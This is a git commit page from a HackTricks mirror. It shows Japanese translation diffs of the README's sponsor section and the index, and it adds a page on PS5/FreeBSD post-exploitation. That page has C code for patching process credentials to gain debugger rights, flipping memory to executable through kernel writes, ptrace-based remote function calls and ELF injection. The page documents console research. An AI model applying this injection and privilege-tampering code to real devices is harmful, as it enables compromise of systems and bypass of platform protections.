maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/generic-hacking/exfiltration.md', 'src/generic-methodol

Browse Source
This commit is contained in:
Translator 2025-09-30 22:46:21 +00:00
parent 4634785c0d
commit 7a85084663
20 changed files with 2178 additions and 971 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
searchindex.js
View File

File diff suppressed because one or more lines are too long

110
src/README.md
View File

@ -2,9 +2,9 @@
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricksのロゴとモーションデザインは_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_によるものです。_
_HackTricks のロゴとモーションデザイン制作:_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### HackTricksをローカルで実行する
### HackTricks をローカルで実行する
```bash
# Download latest version of hacktricks
git clone https://github.com/HackTricks-wiki/hacktricks
@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
あなたのローカルコピーのHackTricksは、**[http://localhost:3337](http://localhost:3337)**で**5分以内に**利用可能になります（本をビルドする必要があるため、しばらくお待ちください）。
ローカルの HackTricks は **[http://localhost:3337](http://localhost:3337)** で <5 分後に利用可能になります（ブックのビルドが必要です。少々お待ちください）。
## 企業スポンサー
@ -39,11 +39,11 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com)は、**HACK THE UNHACKABLE**というスローガンを持つ素晴らしいサイバーセキュリティ会社です。彼らは独自の研究を行い、**ペンテスト、レッドチーム、トレーニング**などの価値あるサイバーセキュリティサービスを提供するために独自のハッキングツールを開発しています。
[**STM Cyber**](https://www.stmcyber.com) は優れたサイバーセキュリティ企業で、スローガンは **HACK THE UNHACKABLE** です。彼らは独自に研究を行い、独自の hacking tools を開発して、pentesting、Red teams、training といった **複数の価値あるサイバーセキュリティサービスを提供しています**。
彼らの**ブログ**は[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で確認できます。
彼らの **ブログ** は [**https://blog.stmcyber.com**](https://blog.stmcyber.com) で確認できます
**STM Cyber**は、HackTricksのようなサイバーセキュリティのオープンソースプロジェクトもサポートしています :)
**STM Cyber** は HackTricks のようなサイバーセキュリティのオープンソースプロジェクトも支援しています :)
---
@ -51,7 +51,7 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
[**RootedCON**](https://www.rootedcon.com) は **スペイン** で最も重要なサイバーセキュリティイベントで、**欧州** でも屈指の大会です。**技術知識の普及を使命とし**、この会議はあらゆる分野の技術・サイバーセキュリティ専門家にとって活発な交流の場です。
{{#ref}}
https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti**は、**ヨーロッパの#1**エシカルハッキングおよび**バグバウンティプラットフォーム**です。
**Intigriti** は **Europe's #1** の ethical hacking かつ **bug bounty platform** です。
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。ハッカーのためにハッカーによって作られたプレミアム**バグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**のバウンティを獲得し始めましょう！
**Bug bounty tip**: **Intigriti** にサインアップして、hackers によって作られたプレミアムな **bug bounty platform** を活用しましょう！[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で今すぐ参加して、最大 **$100,000** のバウンティを獲得し始めましょう！
{{#ref}}
https://go.intigriti.com/hacktricks
@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフロー**を簡単に構築および**自動化**します。
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使って、世界で最も **advanced** なコミュニティツールによるワークフローを簡単に構築・**automate** できます。
今すぐアクセスを取得：
今すぐアクセス：
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
- **ハッキングの洞察:** ハッキングのスリルと課題に関するコンテンツに参加
- **リアルタイムハックニュース:** リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握
- **最新の発表:** 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
- **Hacking Insights:** ハッキングのスリルや課題に踏み込んだコンテンツに触れられます
- **Real-Time Hack News:** リアルタイムのニュースやインサイトで速いテンポのハッキング界の情報を追えます
- **Latest Announcements:** 新しい bug bounty の開始や重要なプラットフォーム更新の情報を受け取れます
**私たちと一緒に** [**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加し、今日からトップハッカーとコラボレーションを始めましょう！
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
---
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - 必須のペネトレーションテストツールキット
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**Get a hacker's perspective on your web apps, network, and cloud**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
**Find and report critical, exploitable vulnerabilities with real business impact.** 20 を超えるカスタムツールを使ってアタックサーフェスをマップし、権限昇格を許すセキュリティ問題を発見し、automated exploits を使って必要な証拠を収集し、あなたの作業を説得力のあるレポートに変換します。
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi**は、**検索エンジンの結果**にアクセスするための迅速で簡単なリアルタイムAPIを提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチな構造化データを解析します。
**SerpApi** は検索エンジン結果へ迅速かつ簡単にリアルタイムでアクセスするための API を提供します。検索エンジンのスクレイピング、プロキシ処理、キャプチャの解決、リッチな構造化データの解析を代行します。
SerpApiのプランのサブスクリプションには、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIへのアクセスが含まれています。\
他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。
SerpApi のプランに加入すると、Google、Bing、Baidu、Yahoo、Yandex など、さまざまな検索エンジンをスクレイピングする 50 以上の異なる API にアクセスできます。\
他のプロバイダとは異なり、**SerpApi doesn’t just scrape organic results**。SerpApi のレスポンスには常に広告、インライン画像や動画、Knowledge Graph など検索結果に含まれる全ての要素や機能が含まれます。
現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれます。\
詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してみてください。\
**無料アカウントを作成**するには、[**こちら**](https://serpapi.com/users/sign_up)をクリックしてください。**
現在の SerpApi の顧客には **Apple, Shopify, and GrubHub** が含まれます。\
詳細は彼らの [**blog**](https://serpapi.com/blog/)**,** または [**playground**](https://serpapi.com/playground) でサンプルを試してみてください。\
[**ここ**](https://serpapi.com/users/sign_up) で無料アカウントを作成できます。
---
### [8kSec Academy – 深層モバイルセキュリティコース](https://academy.8ksec.io/)
### [8kSec Academy – In-Depth Mobile Security Courses](https://academy.8ksec.io/)
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
脆弱性研究、ペネトレーションテスト、リバースエンジニアリングを実施するために必要な技術とスキルを学び、モバイルアプリケーションとデバイスを保護します。**iOSとAndroidのセキュリティをマスター**し、オンデマンドコースを通じて**認定を取得**します：
モバイルアプリケーションとデバイスを保護するための脆弱性調査、penetration testing、reverse engineering に必要な技術とスキルを学びます。オンデマンドコースで iOS と Android のセキュリティを習得し、**認定** を取得しましょう：
{{#ref}}
https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.net)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、最新のサイバーセキュリティ脅威から**世界中のビジネスを保護する**ために、**攻撃的セキュリティサービス**を提供しています。
[**WebSec**](https://websec.net) は **アムステルダム** に拠点を置くプロフェッショナルなサイバーセキュリティ企業で、**世界中** の企業を最新のサイバー脅威から守るために、**offensive-security services** をモダンなアプローチで提供しています。
WebSecは、アムステルダムとワイオミングにオフィスを持つ国際的なセキュリティ会社です。彼らは**オールインワンサービス**を提供しており、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティ専門家のアウトソーシングなどを行っています。
WebSec はアムステルダムとワイオミングにオフィスを持つ国際的なセキュリティ企業です。彼らは **all-in-one security services** を提供しており、Pentesting、**Security** Audits、Awareness Trainings、Phishing Campagnes、Code Review、Exploit Development、Security Experts Outsourcing など幅広く対応します。
WebSecのもう一つの素晴らしい点は、業界の平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことであり、その自信は**最高の品質の結果を保証する**ほどです。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない！**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.net/en/)と[**ブログ**](https://websec.net/blog/)をチェックしてください！
WebSec のもう一つの特徴は、業界平均とは異なり彼らが自分たちのスキルに**非常に自信を持っている**ことで、その自信は提供する成果物の品質保証にも表れており、ウェブサイトには「**If we can't hack it, You don't pay it!**」と記載されています。詳細は彼らの [**website**](https://websec.net/en/) と [**blog**](https://websec.net/blog/) をご覧ください。
上記に加えて、WebSecは**HackTricksの熱心なサポーター**でもあります。
さらに、WebSec は HackTricks の **献身的なサポーター** でもあります。
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons)は、データ漏洩（leak）検索エンジンです。\
私たちは、すべてのタイプのデータ漏洩に対してランダムな文字列検索（Googleのように）を提供します。\
人々の検索、AI検索、組織検索、API（OpenAPI）アクセス、theHarvester統合、ペンテスターが必要とするすべての機能を提供します。\
**HackTricksは私たち全員にとって素晴らしい学習プラットフォームであり、私たちはそれをスポンサーできることを誇りに思っています！**
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) はデータブリーチ (leak) 検索エンジンです。\
大規模なものだけでなくあらゆる種類のデータ leak を対象に、ランダム文字列検索（google のような）を提供します — 複数ソースからのデータを横断検索します。\
人、AI、組織、API (OpenAPI) アクセス、theHarvester 統合など、pentester に必要な全ての機能を備えています。\
**HackTricks は私たち全員にとって素晴らしい学習プラットフォームであり、スポンサーとして支援できることを誇りに思います！**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -180,13 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
**現場のために構築され、あなたのために設計されています。**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks)は、業界の専門家によって構築され、提供される効果的なサイバーセキュリティトレーニングを開発しています。彼らのプログラムは理論を超えて、チームに深い理解と実用的なスキルを提供し、実際の脅威を反映したカスタム環境を使用します。カスタムトレーニングの問い合わせは、[**こちら**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks)からご連絡ください。
**彼らのトレーニングの特徴:**
* カスタム構築されたコンテンツとラボ
* 一流のツールとプラットフォームに支えられた
* 実務者によって設計され、教えられた
**Built for the field. Built around you.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) は業界の専門家が構築・指導する効果的なサイバーセキュリティトレーニングを提供します。彼らのプログラムは理論を超えて、実践的な脅威を反映したカスタム環境を用い、チームに深い理解と実行可能なスキルを身につけさせます。カスタムトレーニングの問い合わせは [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) へ。
**What sets their training apart:**
* Custom-built content and labs
* Backed by top-tier tools and platforms
* Designed and taught by practitioners
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@ -198,29 +199,44 @@ https://cyberhelmets.com/courses/?ref=hacktricks
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
Last Tower Solutionsは、**教育**および**フィンテック**機関向けに特化したサイバーセキュリティサービスを提供し、**ペネトレーションテスト、クラウドセキュリティ評価**、および**コンプライアンス準備**（SOC 2、PCI-DSS、NIST）に焦点を当てています。私たちのチームには、**OSCPおよびCISSP認定の専門家**が含まれており、すべてのエンゲージメントに深い技術的専門知識と業界標準の洞察をもたらします。
Last Tower Solutions は **Education** と **FinTech** 機関向けに特化したサイバーセキュリティサービスを提供しており、特に **penetration testing、cloud security assessments**、および **compliance readiness**（SOC 2、PCI-DSS、NIST）に注力しています。私たちのチームには **OSCP and CISSP certified professionals** が在籍し、深い技術的専門知識と業界標準の知見を各案件にもたらします。
私たちは、**手動でのインテリジェンス駆動のテスト**を通じて自動スキャンを超え、高リスク環境に合わせたテストを行います。学生の記録を保護することから、金融取引を守ることまで、私たちは組織が最も重要なものを守る手助けをします。
自動スキャンを超えた、重要度の高い環境向けにカスタマイズされた **manual, intelligence-driven testing** を提供します。学生記録の保護から金融取引の保護まで、組織が最も重要視するものを守るお手伝いをします。
_「質の高い防御は攻撃を知ることが必要です。私たちは理解を通じてセキュリティを提供します。」_
_“A quality defense requires knowing the offense, we provide security through understanding.”_
最新のサイバーセキュリティ情報を得るために、私たちの[**ブログ**](https://www.lasttowersolutions.com/blog)を訪れてください。
最新のサイバーセキュリティ情報は彼らの [**blog**](https://www.lasttowersolutions.com/blog) をご覧ください。
{{#ref}}
https://www.lasttowersolutions.com/
{{#endref}}
---
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE は DevOps、DevSecOps、開発者が Kubernetes クラスターを効率的に管理、監視、保護するのを支援します。AI 駆動のインサイト、高度なセキュリティフレームワーク、直感的な CloudMaps GUI を利用してクラスターを可視化し、状態を把握し、自信を持って行動できます。
さらに、K8Studio は **すべての主要な kubernetes distributions**（AWS, GCP, Azure, DO, Rancher, K3s, Openshift など）と互換性があります。
{{#ref}}
https://k8studio.io/
{{#endref}}
---
## ライセンスと免責事項
以下で確認してください：
以下を参照してください：
{{#ref}}
welcome/hacktricks-values-and-faq.md
{{#endref}}
## Github統計
## GitHub 統計
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)

6
src/SUMMARY.md
View File

@ -59,6 +59,7 @@
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
@ -82,6 +83,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
@ -102,6 +104,7 @@
# 🐧 Linux Hardening
- [Linux Basics](linux-hardening/linux-basics.md)
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
@ -570,6 +573,7 @@
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
@ -587,6 +591,7 @@
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
@ -843,6 +848,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)

183
src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md Normal file
View File

@ -0,0 +1,183 @@
# FreeBSD ptrace RFI と vm_map PROT_EXEC bypass（PS5 ケーススタディ）
{{#include ../banners/hacktricks-training.md}}
## 概要
このページは、FreeBSD に基づく PlayStation 5 (PS5) 上での実用的な Unix/BSD ユーザモードプロセス/ELF 注入手法を記録する。方法は既に kernel read/write (R/W) プリミティブを持っている場合の FreeBSD 派生系にも一般化できる。ハイレベルでは以下の通り:
- 現在のプロセスの資格情報 (ucred) をパッチしてデバッガ権限を付与し、任意のユーザプロセスに対して ptrace/mdbg を可能にする。
- カーネルの allproc リストを辿ってターゲットプロセスを見つける。
- カーネルのデータ書き込みでターゲットの vm_map 内の vm_map_entry.protection |= PROT_EXEC を反映させ、PROT_EXEC 制限をバイパスする。
- ptrace を使って Remote Function Invocation (RFI) を実行する: スレッドを停止し、レジスタを設定してターゲット内の任意関数を呼び出し、再開して戻り値を収集し、状態を復元する。
- プロセス内 ELF ローダを使ってターゲット内に任意の ELF ペイロードをマップして実行し、専用スレッドを生成してペイロードを実行させ、ブレークポイントを発生させてクリーンにデタッチする。
この手法に関連する PS5 ハイパーバイザ緩和策（コンテキストに即して要点）:
- XOM (execute-only .text) によりカーネル .text の読み書きが制限される。
- CR0.WP をクリアしたり CR4.SMEP を無効化するとハイパーバイザで vmexit（クラッシュ）が発生する。データ専用のカーネル書き込みのみが実行可能。
- ユーザーランドの mmap はデフォルトで PROT_READ|PROT_WRITE に制限される。PROT_EXEC を付与するにはカーネルメモリの vm_map エントリを編集する必要がある。
この手法は post-exploitation であり、エクスプロイトチェーンからの kernel R/W primitives を前提としている。公開ペイロードは執筆時点でファームウェア 10.01 までで動作を示している。
## カーネルのデータ専用プリミティブ
### allproc によるプロセス探索
FreeBSD はカーネルの .data にある allproc にプロセスの二重連結リストを保持している。kernel read primitive を使ってこれを反復し、プロセス名と PID を特定する:
```c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
```
注意:
- KERNEL_ADDRESS_ALLPROC はファームウェア依存です。
- p_comm は固定長の名前です。必要なら pid->proc の検索を検討してください。
### デバッグ用の権限を昇格する (ucred)
PS5 では、struct ucred は proc->p_ucred を介して参照可能な Authority ID フィールドを含んでいます。デバッガーの Authority ID を書き込むと、他のプロセスに対する ptrace/mdbg が付与されます：
```c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
```
- Offset 0x58 は PS5 ファームウェア系に固有で、バージョンごとに検証する必要がある。
- この書き込みの後、injector は ptrace/mdbg を介してユーザプロセスにアタッチし、計測/操作できる。
## Bypassing RW-only user mappings: vm_map PROT_EXEC flip
Userland mmap may be constrained to PROT_READ|PROT_WRITE. FreeBSD tracks a process’s address space in a vm_map of vm_map_entry nodes (BST plus list). Each entry carries protection and max_protection fields:
```c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
```
With kernel R/W you can locate the target’s vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes:
- エントリは next で線形に辿るか、アドレス範囲での検索を O(log n) にするため balanced-tree (left/right) を使って探索します。
- 自分で制御できる既知の RW 領域（scratch buffer や mapped file）を選び、PROT_EXEC を付与してコードや loader thunks を配置できるようにします。
- PS5 SDK のコードには map-entry の高速検索や保護切替のためのヘルパーが含まれています。
これはカーネル所有のメタデータを直接編集することで userland の mmap ポリシーをバイパスします。
## Remote Function Invocation (RFI) with ptrace
FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Instead, drive the target to call functions on itself under ptrace control:
1. ターゲットにアタッチしてスレッドを選択します；PTRACE_ATTACH や PS5 固有の mdbg フローが使える場合があります。
2. スレッドのコンテキストを保存：registers、PC、SP、flags。
3. ABI に従って引数レジスタを書き込みます（x86_64 SysV または arm64 AAPCS64）、PC をターゲット関数に設定し、必要に応じて追加の引数やスタックを配置します。
4. シングルステップまたは続行して制御された停止まで実行（例：software breakpoint や signal）、停止後に regs から戻り値を読み取ります。
5. 元のコンテキストを復元して続行します。
Use cases:
- ターゲットメモリに置いた ELF イメージへのポインタを渡して、in-process ELF loader（例：elfldr_load）を呼び出す。
- ヘルパールーチンを呼んで、返された entrypoints や payload-args のポインタを取得する。
Example of driving the ELF loader:
```c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
```
loader は segments をマッピングし、imports を解決し、relocations を適用して entry（しばしば CRT bootstrap）と、stager が payload の main() に渡す opaque payload_args ポインタを返す。
## スレッド化された stager とクリーンな detach
target 内の最小限の stager は、ELF の main を実行する新しい pthread を作成し、int3 をトリガーして injector に detach するようシグナルを送る：
```c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
```
- SCEFunctions/payload_args pointers は loader/SDK glue によって提供される。
- breakpoint と detach の後、payload は独自の thread で処理を継続する。
## エンドツーエンドパイプライン (PS5 参照実装)
動作する実装は、小さな TCP injector server と client script として提供される:
- NineS server は TCP 9033 で待ち受け、ターゲットプロセス名を含むヘッダと、その後に続く ELF image を受信する:
```c
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
```
- Python クライアントの使用方法:
```bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
```
Hello-world payload の例 (klog にログを出力):
```c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
```
## 実用上の考慮事項
- オフセットと定数（allproc、ucred authority offset、vm_map layout、ptrace/mdbg details）はファームウェア固有で、リリースごとに更新する必要があります。
- ハイパーバイザーの保護によりデータのみのカーネル書き込みが強制されます。CR0.WP や CR4.SMEP をパッチしようとしないでください。
- JIT メモリは代替手段です：一部のプロセスは実行可能ページを割り当てるための PS5 JIT API を公開しています。vm_map protection flip により JIT/ミラーリングのトリックに頼る必要がなくなります。
- レジスタの保存/復元は堅牢に保ってください。失敗するとターゲットがデッドロックしたりクラッシュしたりします。
## 公開ツール
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
## 参考文献
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
- [Mira](https://github.com/OpenOrbis/mira-project)
